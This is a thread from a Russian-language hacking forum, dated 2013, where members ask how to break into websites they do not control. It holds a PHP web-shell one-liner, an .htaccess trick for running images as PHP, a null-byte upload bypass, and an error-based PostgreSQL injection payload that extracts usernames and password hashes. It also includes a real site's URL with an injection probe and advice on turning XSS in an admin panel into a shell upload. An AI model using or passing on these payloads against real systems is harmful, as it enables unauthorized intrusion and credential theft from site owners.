Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Ganz Euler

    Ganz Euler Member

    Joined:
    7 Oct 2013
    Messages:
    50
    Likes Received:
    13
    Reputations:
    10
    Впринципе ты прав, но нужно чтоб сервер выполнял .png как php =) Это возможно только неправильной(злонамеренной) настройке сервера, например можешь создать такой файл:

    .htaccess
    Code:
    AddType application/x-httpd-php .png
    Но просто так код в картинке выполняться не будет.

    P.S. И у тебя код какой-то неправильный
    <?php system($GET['cm']);?>
     
  2. wanttoask

    wanttoask New Member

    Joined:
    30 Sep 2012
    Messages:
    81
    Likes Received:
    1
    Reputations:
    0
    За совет спасибо, но я ведь не смогу на чужом сервере htaccess менять
     
  3. Ganz Euler

    Ganz Euler Member

    Joined:
    7 Oct 2013
    Messages:
    50
    Likes Received:
    13
    Reputations:
    10
    Да, скорее всего не сможешь. Но тут ничего не поделать, если бы в 2013 году во всех .png картинках исполнялся код наш мир не был бы таким каким мы его знаем.
     
  4. wanttoask

    wanttoask New Member

    Joined:
    30 Sep 2012
    Messages:
    81
    Likes Received:
    1
    Reputations:
    0
    Можно заставить файл аплоад думать, что я загружаю пнг/джпг и загружать пхп?
     
  5. Ganz Euler

    Ganz Euler Member

    Joined:
    7 Oct 2013
    Messages:
    50
    Likes Received:
    13
    Reputations:
    10
    Всё зависит от настроек сервера и кода скрипта.

    Можешь например тут почитать: https://rdot.org/forum/showpost.php?p=1142&postcount=5

    P.S. По мотивам оригинального вопроса вспомнился этот пост: http://forum.antichat.ru/showpost.php?p=1473083&postcount=13

    Пожалуйста
     
    #22625 Ganz Euler, 13 Oct 2013
    Last edited: 13 Oct 2013
  6. wanttoask

    wanttoask New Member

    Joined:
    30 Sep 2012
    Messages:
    81
    Likes Received:
    1
    Reputations:
    0
    Спасибо
     
  7. wanttoask

    wanttoask New Member

    Joined:
    30 Sep 2012
    Messages:
    81
    Likes Received:
    1
    Reputations:
    0
    Можно ли *.php.jpeg как-нибудь переименовать, чтобы отсечь .jpeg?
     
  8. wacky

    wacky Member

    Joined:
    30 Jan 2012
    Messages:
    42
    Likes Received:
    7
    Reputations:
    6
    Переименовать в *.php - отсекает jpeg с гарантией.
    Каков вопрос - таков и ответ.
     
    2 people like this.
  9. Always

    Always New Member

    Joined:
    8 Feb 2012
    Messages:
    72
    Likes Received:
    3
    Reputations:
    0
    Два раза подряд нахожу SQL inj в PostgreSQL

    И никак не пойму почему при таком запросе:
    '+and+1=cast((SELECT+usename||chr(58)||passwd+FROM+pg_user+LIMIT+1+OFFSET+1)+as+int)--
    выдает:
    Warning: ERROR: invalid input syntax for integer: "xxx3:********" query: select src from url_alias where dst='firms' and 1=cast((SELECT usename||chr(58)||passwd FROM pg_user LIMIT 1 OFFSET 1) as int)--' in /web/XXX/www/includes/database.pgsql.inc on line 160

    пароль под звездочками...!
    Что не так?

    П.с.:pg_shadow - доступа нет.
    брал аналогию запроса:
    '+and+1=cast((SELECT+usename||chr(58)||passwd+FROM+pg_shadow+LIMIT+1+OFFSET+1)+as+int)--
    Query failed: ERROR: invalid input syntax for integer: "pg_database" in /web/XXX/www/includes/database.pgsql.inc on line 139
     
    #22629 Always, 16 Oct 2013
    Last edited: 16 Oct 2013
  10. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    Потому что в pg_user не хранится пасс(http://www.postgresql.org/docs/8.3/static/view-pg-user.html), ну а на pg_shadow нужны рутовые права(к слову).
     
  11. Always

    Always New Member

    Joined:
    8 Feb 2012
    Messages:
    72
    Likes Received:
    3
    Reputations:
    0
    Тогда получается, что получить данные практически невозможно?
     
  12. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    505
    Likes Received:
    105
    Reputations:
    53
    Какие данные?
     
  13. wkar

    wkar Elder - Старейшина

    Joined:
    18 Oct 2009
    Messages:
    211
    Likes Received:
    67
    Reputations:
    34
    .php%00.jpeg
     
  14. Always

    Always New Member

    Joined:
    8 Feb 2012
    Messages:
    72
    Likes Received:
    3
    Reputations:
    0
    login:pass

    http://www.detodezhda.ru/obuv.php?cid=1'&fil=%CC%EE%F1%EA%E2%E0

    никак... :confused:
     
    #22634 Always, 18 Oct 2013
    Last edited: 18 Oct 2013
  15. -=Cerberus=-

    -=Cerberus=- κρυπτός γράφω

    Joined:
    29 Apr 2012
    Messages:
    1,321
    Likes Received:
    930
    Reputations:
    391
    Помогите решить такую ситуацию.

    - есть локалинклуд по типу
    PHP:
     <?php include("/var/www/vhosts/site.com/application/includes/public/ajax_scripts/".$_GET['page'].".php");?> 
    - ядовитый ноль экранируется

    Прочитал про усечение пути до MAX_PATH. Пробывал руками, но как-то не вышло, есть ли софт(скрипт) для автоматизации этого процесса???

    Заранее спасибо за ответы.
     
  16. Ganz Euler

    Ganz Euler Member

    Joined:
    7 Oct 2013
    Messages:
    50
    Likes Received:
    13
    Reputations:
    10
    Не сталкивался с таким скриптом(хотя написать его несложно).

    Поскольку я не знаю что ты читал про MAX_PATH, привожу пост (https://rdot.org/forum/showpost.php?p=6942&postcount=25)где это описано максимально подробно. В частности автор пишет:

    И еще там требования к версии php < 5.3.*

    Так что если путь вправду начинается со /(как в приведённом тобой коде), то этой техникой ты ничего не добьёшься.

    Пожалуйста =)
     
    #22636 Ganz Euler, 18 Oct 2013
    Last edited: 19 Oct 2013
    1 person likes this.
  17. -=Cerberus=-

    -=Cerberus=- κρυπτός γράφω

    Joined:
    29 Apr 2012
    Messages:
    1,321
    Likes Received:
    930
    Reputations:
    391
    А ну да все верно спасибо за ответ!
     
  18. sunic

    sunic New Member

    Joined:
    20 Nov 2008
    Messages:
    13
    Likes Received:
    2
    Reputations:
    0
    Ситуация следующая. Имеется сайт на основе Zend Framework (Узнать версию пока не смог). В одном из разделов реализован upload файлов (картинок) без полноценной проверки, то есть закачать можно картинку с любым содержанием и если на создании миниатюры не произошло ошибки, то оригинал переименовывается и виден в папке загрузки, не исполняется. (Обойти это пока не получилось, так как при попытке залить php при обработки закачиваемого файла система сыпется наполовину (ломается дизайн) и закачиваемый файл не сохраняется. Плюс ко всему есть дырявый TyneMCE с XSS уязвимостью
    Подскажите возможно ли имея весь этот букет, а может и больше "завладеть" видом на файловую систему
     
  19. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    В теории, если есть уже известный вариант, заливки шелла через админку, к примеру через какой либо момент правки файла, то через xss можно передать данные в форму сохранения файла, но это должен сделать авторизованый админ, на практике, все зависит от случия.
     
    _________________________
  20. cyborgx

    cyborgx New Member

    Joined:
    19 Oct 2013
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    /////
     
    #22640 cyborgx, 22 Oct 2013
    Last edited: 30 Oct 2013
Thread Status:
Not open for further replies.